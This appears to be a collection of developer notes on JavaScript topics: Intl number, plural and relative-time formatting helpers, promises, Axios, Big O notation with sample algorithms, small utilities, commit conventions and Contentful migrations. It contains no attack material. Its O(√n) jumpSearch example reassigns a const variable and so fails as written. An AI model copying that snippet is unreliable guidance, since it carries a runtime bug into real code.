 * @param value - The number to format. Numeric strings ('1099.5') are parsed.
 * @param options - Standard Intl.NumberFormatOptions.
 * @returns The formatted number as a string.
 * @throws TypeError if value is null/undefined/empty, Error if it isn't parseable as a number.
 */
export const formatNumberBase = (
  value: string | number,
  options?: Intl.NumberFormatOptions,
): string => {
  // Reject empty values outright — Intl.NumberFormat would format
  // undefined as the literal string 'NaN'.
  if (value == null || value === '') {
    throw new TypeError('formatNumber: Value is not defined')
  }
  // Guard for plain-JS callers — TS already prevents these types.
  if (typeof value === 'boolean' || typeof value === 'object') {
    throw new Error('formatNumber: Invalid number format')
  }

  // API responses and form inputs often hand over numbers as strings.
  if (typeof value === 'string') {
    value = Number.parseFloat(value)
    if (Number.isNaN(value)) {
      throw new Error('formatNumber: Invalid number format')
    }
  }

  // Locale hardcoded — swap for undefined to follow the visitor's locale.
  return getNumberFormat('en-GB', options).format(value)
}

The cache grows unbounded in theory, but in practice an app has a handful of formatting configurations, so it tops out at a dozen entries. One real caveat: don't feed it user-assembled option objects from different sources and expect cache hits — the key depends on property order.

The string handling matters more than it looks — API responses and form inputs hand you numbers as strings all the time, and Intl.NumberFormat itself would happily format NaN as the string 'NaN' rather than throwing.

/**
 * Formats a number as currency.
 * @param value - The number to format.
 * @param currency - The currency code e.g. USD, GBP, EUR, etc.
 * @param decimalCount - Optional. The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted currency as a string.
 */
export const formatNumberCurrency = (
  value: number | string,
  currency: string,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) => {
  return formatNumberBase(value, {
    style: 'currency',
    currencyDisplay: 'narrowSymbol',
    currency,
    maximumFractionDigits: decimalCount,
    ...options,
  })
}

/**
 * Formats a number with decimal places.
 * @param value - The number to format.
 * @param decimalCount - Optional. The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted number as a string.
 */
export const formatNumberDecimal = (
  value: number | string,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) => {
  return formatNumberBase(value, {
    style: 'decimal',
    maximumFractionDigits: decimalCount,
    ...options,
  })
}

/**
 * Formats a number with a fixed number of decimal places — trailing zeros kept.
 * @param value - The number to format.
 * @param decimalCount - The number of decimal places to display. Default is 2.
 * @param options - Additional, optional options for formatting the number.
 * @returns The formatted number as a string.
 */
export const formatNumberDecimalForceDecimalPlaces = (
  value: number,
  decimalCount: number = DEFAULT_DECIMAL_PLACES,
  options?: Intl.NumberFormatOptions,
) => {
  return formatNumberDecimal(value, decimalCount, {
    ...options,
    // The `Intl.NumberFormat` constructor that `formatNumberDecimal` uses trims
    // decimal places if possible so I have ensured that the number of decimal
    // places will be kept no matter what here.
    minimumFractionDigits: decimalCount,
  })
}

formatNumberCurrency(1099.5, 'GBP') // '£1,099.50'
formatNumberCurrency('1099.5', 'USD') // '$1,099.50' — strings work too
formatNumberDecimal(3.14159) // '3.14'
formatNumberDecimal(3) // '3' — trims when it can
formatNumberDecimalForceDecimalPlaces(3) // '3.00' — forced

In React

Because the helpers cache their formatters, they're safe to call straight from render — no useMemo gymnastics needed:

import { formatNumberCurrency } from '~/utils/formatNumber'

const PriceList = ({ prices }: { prices: number[] }) => (
  <ul>
    {prices.map((price) => (
      <li key={price}>{formatNumberCurrency(price, 'GBP')}</li>
    ))}
  </ul>
)

If you're constructing a formatter directly in a component — say the locale comes from props or context — memoise it on its inputs instead:

import { useMemo } from 'react'

const Revenue = ({ amount, locale }: { amount: number; locale?: string }) => {
  const formatter = useMemo(
    () =>
      new Intl.NumberFormat(locale, {
        style: 'currency',
        currency: 'GBP',
        currencyDisplay: 'narrowSymbol',
      }),
    [locale],
  )

  return <strong>{formatter.format(amount)}</strong>
}

Without the useMemo, every render constructs a new formatter — invisible on one component, real jank on a re-rendering table of them.

Gotchas

percent takes fractions — format(0.85) not format(85).
Locale hardcoded to en-GB in my helpers — pass undefined as the first constructor argument to use the visitor's own locale instead.
Rounding is controllable since the v3 spec (ES2023): roundingMode: 'trunc' | 'ceil' | 'halfEven' etc., plus roundingPriority / roundingIncrement ("round to nearest 5p").

For plural-aware strings around these numbers ("1 item" / "2 items") see my Intl.PluralRules note — and Intl.RelativeTimeFormat covers "2 days ago".

Intl.PluralRules

Zander Martineau — Mon, 20 Jul 2026 15:30:00 GMT

The standards-based way to pick the right plural form, instead of hand-rolling count === 1 ? 'item' : 'items'. English only has two plural forms, but many languages have more — Polish has three, Arabic has six — and Intl.PluralRules knows the rules for all of them.

select(n) returns a plural category: one of zero, one, two, few, many, or other. You map those categories to your strings.

const rules = new Intl.PluralRules('en-GB')

rules.select(0) // 'other'
rules.select(1) // 'one'
rules.select(2) // 'other'

A pluralize helper

const pluralize = (count, singular, plural) => {
  const rules = new Intl.PluralRules('en-GB')
  const word = rules.select(count) === 'one' ? singular : plural
  return `${count} ${word}`
}

pluralize(1, 'note', 'notes') // '1 note'
pluralize(7, 'note', 'notes') // '7 notes'

For more than two forms (or more languages), map categories explicitly:

const rules = new Intl.PluralRules('pl-PL')

const words = {
  one: 'plik', // 1 file
  few: 'pliki', // 2–4 files
  many: 'plików', // 5+ files
}

const formatFiles = (count) => `${count} ${words[rules.select(count)]}`

formatFiles(1) // '1 plik'
formatFiles(3) // '3 pliki'
formatFiles(5) // '5 plików'

Ordinals

Pass { type: 'ordinal' } for 1st/2nd/3rd/4th-style suffixes — the default is 'cardinal':

const ordinals = new Intl.PluralRules('en-GB', { type: 'ordinal' })

const suffixes = {
  one: 'st',
  two: 'nd',
  few: 'rd',
  other: 'th',
}

const formatOrdinal = (n) => `${n}${suffixes[ordinals.select(n)]}`

formatOrdinal(1) // '1st'
formatOrdinal(2) // '2nd'
formatOrdinal(3) // '3rd'
formatOrdinal(11) // '11th' — knows 11 isn't '11st'
formatOrdinal(21) // '21st'

That 11 vs 21 case is exactly the sort of thing you get wrong doing it by hand.

Ranges

selectRange(start, end) (ES2023) picks the category for a range:

new Intl.PluralRules('en-GB').selectRange(1, 3) // 'other' → '1–3 items'

Support is universal — every modern browser and Node for years. If you're formatting the number itself as well, reach for Intl.NumberFormat, and for "2 days ago"-style strings there's Intl.RelativeTimeFormat, which uses these same plural rules under the hood.

Intl.RelativeTimeFormat

Zander Martineau — Mon, 20 Jul 2026 15:30:00 GMT

The built-in way to get "2 days ago", "in 3 hours", "yesterday" — no date library needed. Rounds out the Intl family alongside Intl.NumberFormat and Intl.PluralRules (which it uses under the hood, so "1 day ago" vs "2 days ago" plurals are handled for you, in any locale).

const rtf = new Intl.RelativeTimeFormat('en-GB', { numeric: 'auto' })

rtf.format(-1, 'day') // 'yesterday'
rtf.format(2, 'day') // 'in 2 days'
rtf.format(-3, 'hour') // '3 hours ago'
rtf.format(1, 'week') // 'next week'

Negative numbers are the past, positive the future. Units: second, minute, hour, day, week, month, quarter, year.

`numeric: 'auto'` vs `'always'`

The one option that matters. 'auto' uses natural phrasing when one exists, 'always' (the default) keeps everything numeric:

new Intl.RelativeTimeFormat('en-GB', { numeric: 'auto' }).format(-1, 'day')
// 'yesterday'

new Intl.RelativeTimeFormat('en-GB', { numeric: 'always' }).format(-1, 'day')
// '1 day ago'

I nearly always want 'auto'.

My helper

The API's catch: it doesn't take dates. You must work out the delta and pick a sensible unit yourself — "90 seconds ago" should be "2 minutes ago", "40 days ago" should be "last month". This helper does the unit-picking, accepts anything date-ish, and handles past and future:

// Module-level cache — formatter construction is the expensive part,
// same deal as Intl.NumberFormat.
const formatterCache = new Map<string, Intl.RelativeTimeFormat>()

const getRelativeTimeFormat = (
  locale?: string,
  options?: Intl.RelativeTimeFormatOptions,
): Intl.RelativeTimeFormat => {
  const key = `${locale}:${JSON.stringify(options)}`
  let formatter = formatterCache.get(key)
  if (!formatter) {
    formatter = new Intl.RelativeTimeFormat(locale, options)
    formatterCache.set(key, formatter)
  }
  return formatter
}

// Each entry: how many of this unit fit in the next one up.
const DIVISIONS: Array<{
  amount: number
  unit: Intl.RelativeTimeFormatUnit
}> = [
  { amount: 60, unit: 'seconds' },
  { amount: 60, unit: 'minutes' },
  { amount: 24, unit: 'hours' },
  { amount: 7, unit: 'days' },
  { amount: 4.34524, unit: 'weeks' }, // average weeks per month
  { amount: 12, unit: 'months' },
  { amount: Number.POSITIVE_INFINITY, unit: 'years' },
]

/**
 * Formats a date relative to now, picking the largest sensible unit.
 * @param date - A Date, timestamp, or ISO string. Past or future.
 * @param locale - BCP 47 locale tag. Default 'en-GB'; pass undefined for the visitor's locale.
 * @returns e.g. 'yesterday', '2 hours ago', 'in 3 weeks', 'last month'.
 * @throws TypeError if the date can't be parsed.
 */
export const formatRelativeTime = (
  date: Date | number | string,
  locale: string | undefined = 'en-GB',
): string => {
  const timestamp = new Date(date).getTime()
  if (Number.isNaN(timestamp)) {
    throw new TypeError('formatRelativeTime: Invalid date')
  }

  const formatter = getRelativeTimeFormat(locale, { numeric: 'auto' })

  // Negative = past, positive = future
  let duration = (timestamp - Date.now()) / 1000

  for (const division of DIVISIONS) {
    if (Math.abs(duration) < division.amount) {
      return formatter.format(Math.round(duration), division.unit)
    }
    duration /= division.amount
  }

  // Unreachable — the last division catches everything — but TS wants a return.
  return formatter.format(Math.round(duration), 'years')
}

formatRelativeTime(Date.now() - 30 * 1000) // '30 seconds ago'
formatRelativeTime(Date.now() - 90 * 1000) // '2 minutes ago' — unit picked for you
formatRelativeTime('2026-07-19') // 'yesterday'
formatRelativeTime(Date.now() + 3 * 86400 * 1000) // 'in 3 days'

A "just now" threshold

"12 seconds ago" is usually noise. Small wrapper:

export const timeAgo = (date: Date | number | string): string => {
  const seconds = (Date.now() - new Date(date).getTime()) / 1000
  if (seconds >= 0 && seconds < 60) {
    return 'just now'
  }
  return formatRelativeTime(date)
}

Gotchas

It won't pick a unit for you — format(-90, 'second') happily returns "90 seconds ago". That's what the helper above is for.
Relative strings go stale. "2 minutes ago" rendered once is wrong five minutes later. On a live page, re-render on an interval (a minute is usually fine), or reach for the <relative-time> custom element from GitHub if you want it handled for you. Also worth pairing with a title attribute holding the absolute date.
Static sites: this runs at build time in Astro frontmatter — "2 days ago" is frozen at deploy. Fine for a rebuilt-often site, misleading otherwise; prefer absolute dates there.
For absolute date formatting, the sibling API is Intl.DateTimeFormat — same locale/options/caching patterns as everything above.

Async cheatsheet

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Pending promises can become either...

value: Fulfilled with a value, or...
error: Rejected with an error.
outcome: Either way, they are settled with an outcome.

Combining promises

Use all() to turn an array of promises into a promise to an array.

Promise.all([value1, value2, value3]) -> [value1, value2, value3]

If any promise is rejected, the error will be passed through.

Promise.all([?, ?, error]) -> error

Use race() instead to pass through the first settled promise.

Promise.race([?, ?, value]) -> value

Use allSettled() (ES2020) when you want every outcome — it never rejects, and resolves to an array of { status, value } / { status, reason } objects.

Promise.allSettled([value, error]) -> [
  { status: 'fulfilled', value },
  { status: 'rejected', reason: error },
]

Use any() (ES2021) to get the first fulfilled promise — it only rejects (with an AggregateError) if every promise rejects.

Promise.any([error, value]) -> value

Promise.withResolvers() (ES2024) gives you a promise plus its resolve/reject functions without the constructor callback dance.

const { promise, resolve, reject } = Promise.withResolvers()

Promise.try() (ES2025) wraps a function that might return a value, a promise, or throw synchronously — either way you get a promise back.

Promise.try(() => maybeAsyncMaybeThrows())

Combining promises

`promise.then(onFulfilled, onRejected)`

Calls onFulfilled once the promise is fulfilled.

value.then(value => nextValue, ...) -> nextValue
value.then(value => outcome, ...) -> outcome
value.then(value => throw error, ...) -> error

Calls onRejected if the promise is rejected.

error.then(..., error => value) -> value
error.then(..., error => outcome) -> outcome
error.then(..., error => throw nextError) -> nextError

Passes errors through if onRejected is undefined.

error.then(...) -> error

`promise.catch( onRejected )`

Behaves identically to then when onFulfilled is omitted.

error.catch(onRejected) <=> error.then(..., onRejected)

Passes fulfilled values through.

value.catch(...) -> value

`promise.finally( onFinally )`

Calls onFinally with no arguments once any outcome is available. Passes through input promise.

outcome.finally(() => ...) -> outcome

The onFulfilled, onRejected and onFinally functions will not be executed until at least the next tick, even for promises that already have an outcome.

Making promises

The function passed to new Promise will be executed synchronously.

new Promise((resolve, reject) => {
  doImportantStuff((error, value) => {
    if (error) {
      reject(error)
    } else {
      resolve(value)
    }
  })
})

Use resolve() or reject() to create promises from values.

Promise.resolve(value) -> value
Promise.reject(error) -> error

If you put a fulfilled promise into a fulfilled promise, they'll collapse into one.

Promise.resolve(value) -> value

Sometimes you might not need reject, or might not resolve to a value.

function delay(milliseconds) {
  return new Promise((resolve) => setTimeout(resolve, milliseconds))
}

async/await

Calling an async function always results in a promise.

(async () => value)() -> value
(async () => outcome)() -> outcome
(async () => throw error)() -> error

await waits for a promise to be fulfilled, then returns its value.

async function() {
  try {
    let value = await outcome
    // ...
  }
  catch (error) {
    // ...
  }
}

You can pass non-promise values to await

const fn = async () => {
  let value = await value
  // ...
}

await may only be used within async functions.

await will wait until at least the next tick before returning, even when awaiting already-fulfilled promises or non-promise values.

Axios

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Example requests

// GET
const { data } = await axios({
  method: 'GET',
  url: `https://path.to/endpoint`,
})

// POST
const { data } = await axios({
  method: 'POST',
  url: `https://path.to/endpoint`,
  data: {
    name: 'Zander Martineau',
  },
  headers: {},
})

interface ApiResponse {
  test: number
}

const fetchSomeData = (): Promise<ApiResponse> => {
  return axios<ApiResponse>({
    method: 'POST',
    url: `https://path.to/endpoint`,
  }).then((response) => {
    return {
      ...response.data,
    }
  })
}

With authorisation

// POST
const { data } = await axios({
  method: 'POST',
  url: `https://path.to/endpoint`,
  data: {
    name: 'Zander Martineau',
  },
  headers: {
    Authorization: `Bearer ${token}`,
  },
})

Try/Catch

interface ApiResponse {
  test: number
}

const fetchSomeData = async (): Promise<ApiResponse> => {
  try {
    const { data } = await axios<ApiResponse>({
      method: 'POST',
      url: `https://path.to/endpoint`,
    })

    return data
  } catch (error) {
    if (axios.isAxiosError(error)) {
      throw new Error(error.message)
    }
    throw new Error('error.unknown')
  }
}

Alternate method using await-to-js

import to from 'await-to-js'

interface ApiResponse {
  test: number
}

const fetchSomeData = async () => {
  const [error, data] = await to<AxiosResponse<ApiResponse>>(
    axios({
      method: 'POST',
      url: `https://path.to/endpoint`,
    })
  )

  if (error || !data) {
    // handle the error — `data` is undefined here
    return
  }

  // ℹ️ Axios' default response has a `data` property,
  // so you may prefer to return `data.data`
  return data.data
}

Handling errors

axios({
  method: 'GET',
  url: '/user/12345',
}).catch((error) => {
  if (error.response) {
    // The request was made and the server responded with a status code
    // that falls out of the range of 2xx
    console.log(error.response.data)
    console.log(error.response.status)
    console.log(error.response.headers)
  } else if (error.request) {
    // The request was made but no response was received
    // `error.request` is an instance of XMLHttpRequest in the browser and an instance of
    // http.ClientRequest in node.js
    console.log(error.request)
  } else {
    // Something happened in setting up the request that triggered an Error
    console.log('Error', error.message)
  }
  console.log(error.config)
})

With Typescript

try {
  await axios.post('/user/12345', {
    email: formData.email,
  })
} catch (error: unknown) {
  if (axios.isAxiosError(error)) {
    // you now have type-safe access to the API response that returned the error
    console.error(error.response)
  } else {
    const errorMessage = getErrorMessage(error)
    setFormError(errorMessage)
  }
}

Lightweight alternatives

Native fetch with AbortSignal.timeout() covers most of what I used axios for these days. If I want a nicer API on top, ky or ofetch are the modern lightweight choices.

Big O Notation

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Big O Notation describes the upper bound of an algorithm's time or space complexity, helping us understand how performance scales as input size grows.

Why Big O Matters

Compare algorithms objectively before implementation
Predict performance bottlenecks at scale
Make informed trade-offs between time and space complexity

Complexity Comparison

Notation	Name	n=10	n=100	n=1000
O(1)	Constant	1	1	1
O(log n)	Logarithmic	3	7	10
O(n)	Linear	10	100	1000
O(n log n)	Linearithmic	30	664	9966
O(n²)	Quadratic	100	10,000	1,000,000
O(2ⁿ)	Exponential	1024	1.27×10³⁰	∞
O(n!)	Factorial	3,628,800	∞	∞

O(1) — Constant Time

Runtime remains the same regardless of input size.

// Array access by index
const getFirst = (arr) => arr[0];

// Hash table lookup
const getValue = (map, key) => map.get(key);

// Stack push/pop
stack.push(item);
stack.pop();

Examples: Array indexing, hash map operations, arithmetic operations, checking if a number is even/odd.

O(log n) — Logarithmic Time

Runtime increases slowly as input grows. Each step eliminates half the remaining data.

// Binary search
function binarySearch(arr, target) {
  let left = 0;
  let right = arr.length - 1;

  while (left <= right) {
    const mid = Math.floor((left + right) / 2);
    if (arr[mid] === target) return mid;
    if (arr[mid] < target) left = mid + 1;
    else right = mid - 1;
  }
  return -1;
}

Examples: Binary search, balanced BST operations, finding an item in a sorted array, calculating exponents with binary exponentiation.

O(n) — Linear Time

Runtime grows proportionally with input size. You touch each element once.

// Find maximum value
function findMax(arr) {
  let max = arr[0];
  for (const num of arr) {
    if (num > max) max = num;
  }
  return max;
}

// Linear search
const includes = (arr, target) => {
  for (const item of arr) {
    if (item === target) return true;
  }
  return false;
};

Examples: Array traversal, linear search, counting elements, finding min/max, calculating sum.

O(n log n) — Linearithmic Time

Common in efficient sorting algorithms. Combines linear traversal with logarithmic division.

// Merge Sort
function mergeSort(arr) {
  if (arr.length <= 1) return arr;

  const mid = Math.floor(arr.length / 2);
  const left = mergeSort(arr.slice(0, mid));
  const right = mergeSort(arr.slice(mid));

  return merge(left, right);
}

function merge(left, right) {
  const result = [];
  let i = 0, j = 0;

  while (i < left.length && j < right.length) {
    if (left[i] <= right[j]) result.push(left[i++]);
    else result.push(right[j++]);
  }

  return result.concat(left.slice(i)).concat(right.slice(j));
}

Examples: Merge sort, quick sort (average case), heap sort, efficient sorting of linked lists.

O(n²) — Quadratic Time

Runtime grows with the square of input size. Usually involves nested loops.

// Bubble Sort
function bubbleSort(arr) {
  const n = arr.length;
  for (let i = 0; i < n; i++) {
    for (let j = 0; j < n - i - 1; j++) {
      if (arr[j] > arr[j + 1]) {
        [arr[j], arr[j + 1]] = [arr[j + 1], arr[j]];
      }
    }
  }
  return arr;
}

// Check for duplicates (naive)
function hasDuplicates(arr) {
  for (let i = 0; i < arr.length; i++) {
    for (let j = i + 1; j < arr.length; j++) {
      if (arr[i] === arr[j]) return true;
    }
  }
  return false;
}

Examples: Bubble sort, insertion sort, selection sort, comparing all pairs, simple matrix operations.

O(n³) — Cubic Time

Common in naive matrix operations and dynamic programming with 3D tables.

// Matrix multiplication (naive)
function multiplyMatrices(A, B) {
  const n = A.length;
  const C = Array(n).fill(null).map(() => Array(n).fill(0));

  for (let i = 0; i < n; i++) {
    for (let j = 0; j < n; j++) {
      for (let k = 0; k < n; k++) {
        C[i][j] += A[i][k] * B[k][j];
      }
    }
  }
  return C;
}

Examples: Naive matrix multiplication, Floyd-Warshall algorithm, 3-SUM problem (naive), certain dynamic programming solutions.

O(2ⁿ) — Exponential Time

Runtime doubles with each additional input element. Often seen in brute-force recursive solutions.

// Fibonacci (naive recursive)
function fibonacci(n) {
  if (n <= 1) return n;
  return fibonacci(n - 1) + fibonacci(n - 2);
}

// Generate all subsets
function subsets(arr) {
  if (arr.length === 0) return [[]];

  const first = arr[0];
  const rest = subsets(arr.slice(1));

  return rest.concat(rest.map(subset => [first, ...subset]));
}

Examples: Naive Fibonacci, generating all subsets/power sets, solving Tower of Hanoi, brute-force password cracking.

O(n!) — Factorial Time

Runtime grows astronomically. Reserved for problems requiring all permutations.

// Generate all permutations
function permutations(arr) {
  if (arr.length <= 1) return [arr];

  const result = [];
  for (let i = 0; i < arr.length; i++) {
    const current = arr[i];
    const remaining = [...arr.slice(0, i), ...arr.slice(i + 1)];
    const perms = permutations(remaining);
    for (const perm of perms) {
      result.push([current, ...perm]);
    }
  }
  return result;
}

Examples: Generating all permutations, brute-force travelling salesman problem, solving n-queens by trying all arrangements.

O(√n) — Square Root Time

Runtime grows relative to the square root of input. Used in optimisation techniques.

// Check if number is prime
function isPrime(n) {
  if (n < 2) return false;
  for (let i = 2; i <= Math.sqrt(n); i++) {
    if (n % i === 0) return false;
  }
  return true;
}

// Jump search
function jumpSearch(arr, target) {
  const n = arr.length;
  const step = Math.floor(Math.sqrt(n));
  let prev = 0;

  while (arr[Math.min(step, n) - 1] < target) {
    prev = step;
    step += Math.floor(Math.sqrt(n));
    if (prev >= n) return -1;
  }

  while (arr[prev] < target) {
    prev++;
    if (prev === Math.min(step, n)) return -1;
  }

  return arr[prev] === target ? prev : -1;
}

Examples: Prime checking, jump search, Sieve of Eratosthenes optimisations, finding divisors.

Space Complexity

Big O also applies to memory usage:

Algorithm	Time	Space
Bubble Sort	O(n²)	O(1)
Merge Sort	O(n log n)	O(n)
Quick Sort	O(n log n)	O(log n)
Hash Table Lookup	O(1)	O(n)

Trade-off example: Memoization trades O(n) space for improved time complexity.

Tips for Analysis

Drop constants — O(2n) simplifies to O(n)
Drop non-dominant terms — O(n² + n) simplifies to O(n²)
Consider worst case — Big O typically describes the worst-case scenario
Analyse loops — Nested loops often multiply complexity
Recursive calls — Draw the recursion tree to understand branching

Common Pitfalls

Hidden loops — Methods like indexOf(), includes(), slice() are O(n)
String concatenation — Building strings in a loop can be O(n²) in some languages
Copying data — slice(), spread operator, Object.assign() are O(n)

Native browser loading state

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

With the Navigation API — now shipped in all major browsers (Chromium since 2022, Safari and Firefox since) — you can show the native spinner + stop button for any asynchronous operation - all you need is a Promise.

function showLoading(promise) {
  navigation.addEventListener(
    'navigate',
    (event) => {
      event.intercept({
        scroll: 'manual',
        handler: () => promise,
      })
    },
    { once: true }
  )
  return navigation.navigate(location.href).finished
}

// show browser loading UI
showLoading(new Promise((r) => setTimeout(r, 1500)))

One caveat: navigation.navigate(location.href) pushes/replaces a history entry as a side effect — pass { history: 'replace' } if you don't want a new entry.

Check if value is array in JavaScript

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Use Array.isArray(). That's it — it handles every case, including values from other realms.

Array.isArray([]) // true
Array.isArray('test') // false
Array.isArray({}) // false

Why not the alternatives?

`instanceof Array`

;[] instanceof Array // true
'test' instanceof Array // false

Fails across realms: an array created in an iframe or worker has a different Array constructor, so instanceof returns false for a perfectly good array.

`.constructor === Array`

;[].constructor === Array // true
'foo'.constructor === Array // false

Throws on null/undefined, has the same cross-realm problem, and constructor can be reassigned so it's spoofable anyway.

From Stack Overflow

Check if JavaScript object is empty

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

if (obj != null && obj.constructor === Object && Object.keys(obj).length === 0) {
  // do something
}

The constructor === Object check matters — without it, things like '', 0, 42 and [] also pass the "no keys" test and get treated as empty objects. Object.keys beats Object.entries here too: no point allocating all those [key, value] pairs just to count them.

As a function:

export const isObjectEmpty = (obj: unknown): boolean => {
  return (
    obj != null &&
    obj.constructor === Object &&
    Object.keys(obj).length === 0
  )
}

// isObjectEmpty({}) true
// isObjectEmpty({a: 1}) false
// isObjectEmpty([]) false
// isObjectEmpty('') false

You can also invert that function to check if an object has values.

export const isObjectFull = (obj) => !isObjectEmpty(obj)

Not sure about the naming of this one, but you get the idea

Clamp number

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

JavaScript

const clamp = (value: number, min: number, max: number) => {
  return Math.min(Math.max(value, min), max)
}

// clamp(21, 20, 50) > 21
// clamp(10, 20, 50) > 20
// clamp(80, 20, 50) > 50

There's a TC39 proposal for Math.clamp that would make this one-liner redundant eventually.

CSS

clamp() has been supported everywhere since 2020, so just use it:

body {
  font-size: clamp(16px, 4vw, 22px);
}

Clickable box

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Just use a native <button>. You get focus, keyboard activation, disabled, and screen reader semantics for free — recreating all of that on a div/span is a lot of effort for a worse result. (The clickable-box library this note was based on is abandoned, which rather proves the point.)

If you genuinely can't use a <button>, here's the minimum for a11y parity. Note event.key — event.keyCode is deprecated — and that role="button" must activate on both <kbd>Enter</kbd> and <kbd>Space</kbd>:

<span
  // Make the element clickable
  onClick={handleClick}
  // Make the element focusable by keyboard
  tabIndex={0}
  // Native buttons activate on both Enter and Space
  onKeyDown={(event) => {
    if (event.key === 'Enter' || event.key === ' ') {
      event.preventDefault()
      handleClick()
    }
  }}
  // Tell screen readers that the element is a button
  role="button"
  aria-label="Close modal"
>
  <CloseIcon />
</span>

See MDN on KeyboardEvent.key for the key values.

Commit message guidelines

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

https://chris.beams.io/posts/git-commit/

Writing commits

Not to the important part, when writing commits, it's important to think about:

Your future self
Your colleagues

You may think this is trivial, but it's not. It's important for the reader to understand what happened.

Recommendations

Keep the message short: Makes the list of commits more readable (~50 chars).
Talk imperative: Follow this rule: If applied, this commit will <commit message>
Think about the CHANGELOG: Your commits will probably end up in the changelog so try writing for it, but also keep in mind that you can skip sending commits to the CHANGELOG by using different keywords (like build).
Use a commit per new feature: if you introduce multiple things related to the same commit, squash them. This is useful for auto-generating CHANGELOG.

Do's	Don'ts
`fix(commands): bump error when no user provided`	`fix: stuff`
`feat: add new commit command`	`feat: commit command introduced`

Having precise rules over how git commit messages are formatted leads to <Highlight>more readable messages</Highlight> that are easy to follow when looking through the <Highlight>project history</Highlight>.

Commit Message Format

Each commit message consists of a header, a body and a footer. The header has a special format that includes a type, a scope and a subject:

<type>(<scope>): <subject>

<body>

<footer>

The header is mandatory and the scope of the header is optional.

Any line of the commit message cannot be longer 100 characters! This allows the message to be easier to read on GitHub as well as in various git tools.

The footer should contain a closing reference to an issue if any.

Samples: (even more samples)

Commit message	Release type
`fix(pencil): stop graphite breaking when too much pressure applied`	Patch Release
`feat(pencil): add 'graphiteWidth' option`	~~Minor~~ Feature Release
`perf(pencil): remove graphiteWidth option`<br/><br/>`BREAKING CHANGE: The graphiteWidth option has been removed.`<br/>`The default graphite width of 10mm is always used for performance reasons.`	~~Major~~ Breaking Release

Revert

If the commit reverts a previous commit, it should begin with revert:, followed by the header of the reverted commit. In the body it should say: This reverts commit hash., where the hash is the SHA of the commit being reverted.

Type

Must be one of the following:

build: Changes that affect the build system or external dependencies (example scopes: gulp, broccoli, npm)
ci: Changes to our CI configuration files and scripts (example scopes: Travis, Circle, BrowserStack, SauceLabs)
docs: Documentation only changes
feat: A new feature
fix: A bug fix
perf: A code change that improves performance
refactor: A code change that neither fixes a bug nor adds a feature
style: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)
test: Adding missing tests or correcting existing tests

Scope

The scope should be the name of the npm package affected (as perceived by the person reading the changelog generated from commit messages.

For each project your team should define your supported scopes.

Subject

The subject contains a succinct description of the change:

use the imperative, present tense: "change" not "changed" nor "changes"
don't capitalise the first letter
no dot (.) at the end

Body

Just as in the subject, use the imperative, present tense: "change" not "changed" nor "changes". The body should include the motivation for the change and contrast this with previous behaviour.

Footer

The footer should contain any information about Breaking Changes and is also the place to reference GitHub issues that this commit Closes.

Breaking Changes should start with the word BREAKING CHANGE: with a space or two newlines. The rest of the commit message is then used for this.

Contentful migrations

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Content & schema migrations

For migrations you will need Contentful's command line interface tool.

Pre-requisites

Node LTS

Installation

Using homebrew:

brew install contentful-cli

Using npm:

npm install -g contentful-cli

Login

You will need to login to Contentful on your computer. Run contentful login and follow the prompts, see below for an example:

❯ contentful login

A browser window will open where you will log in (or sign up if you don’t have an account), authorize this CLI tool and paste your CMA token here:

? Open a browser window now? Yes
? Paste your token here: [hidden]

Great! Your CMA token is now stored on your system. (Located at /Users/zander/.contentfulrc.json)
You can always run contentful logout to remove it.

Create a new CMA token (personal access token) from https://app.contentful.com/spaces/<space-id>/api/cma_tokens.

Content modeling & migration scripts

Every time you need to modify a content model, a new migration script should be created. It needs to be carefully modelled so that you don't overwrite existing types and content.

For more information on how to model your content programmatically, see these docs

When editing existing fields, it can be useful to view the JSON representation of the content model to see what is there. e.g. https://app.contentful.com/spaces/<space-id>/environments/staging/content_types/article/preview

Useful links:

Migration docs
Editor interfaces
Validations
Contentful migrations tutorial
Video overview of using the contentful CLI
CMS as code - article about migrations etc on the Contentful help centre
Managing multiple environments
Example migrations

Migration scripts

Richtext field

const myRichTextCT = migration
  .createContentType('myContentTypeWithRichText')
  .name('MyContentTypeWithRichText')
myRichTextCT
  .createField('richText')
  .name('Text')
  .type('RichText')
  .validations([
    {
      nodes: {
        'embedded-entry-block': [
          {
            size: {
              min: 1,
              max: 4,
            },
          },
          {
            linkContentType: ['markdownContentType'],
          },
        ],
        'embedded-entry-inline': [
          {
            size: {
              min: 10,
              max: 20,
            },
            message:
              'this is a custom error for number of embedded inline entries',
          },
          {
            linkContentType: ['parent'],
            message: 'we only accept parent',
          },
        ],
      },
    },
    {
      enabledNodeTypes: [
        'heading-1',
        'heading-2',
        'heading-3',
        'heading-4',
        'heading-5',
        'ordered-list',
        'unordered-list',
        'hr',
        'blockquote',
        'embedded-entry-block',
        'embedded-asset-block',
        'hyperlink',
        'entry-hyperlink',
        'asset-hyperlink',
        'embedded-entry-inline',
      ],
      message:
        'Only heading 1, heading 2, heading 3, heading 4, heading 5, ordered list, unordered list, horizontal rule, quote, block entry, asset, link to Url, link to entry, link to asset, and inline entry nodes are allowed',
    },
  ])

Running the migration

It is a good idea to create a test environment that is a clone of master so that everything can be checked before running the migration script "for real".

contentful space migration --space-id <space-id> --environment-id 'test' 01-add-article-cta-type.js

C++ for TypeScript developers

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

A guide to C++ for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	C++
Typing	Static, structural	Static, nominal
Execution	Interpreted (via JS engine)	Compiled to native binary
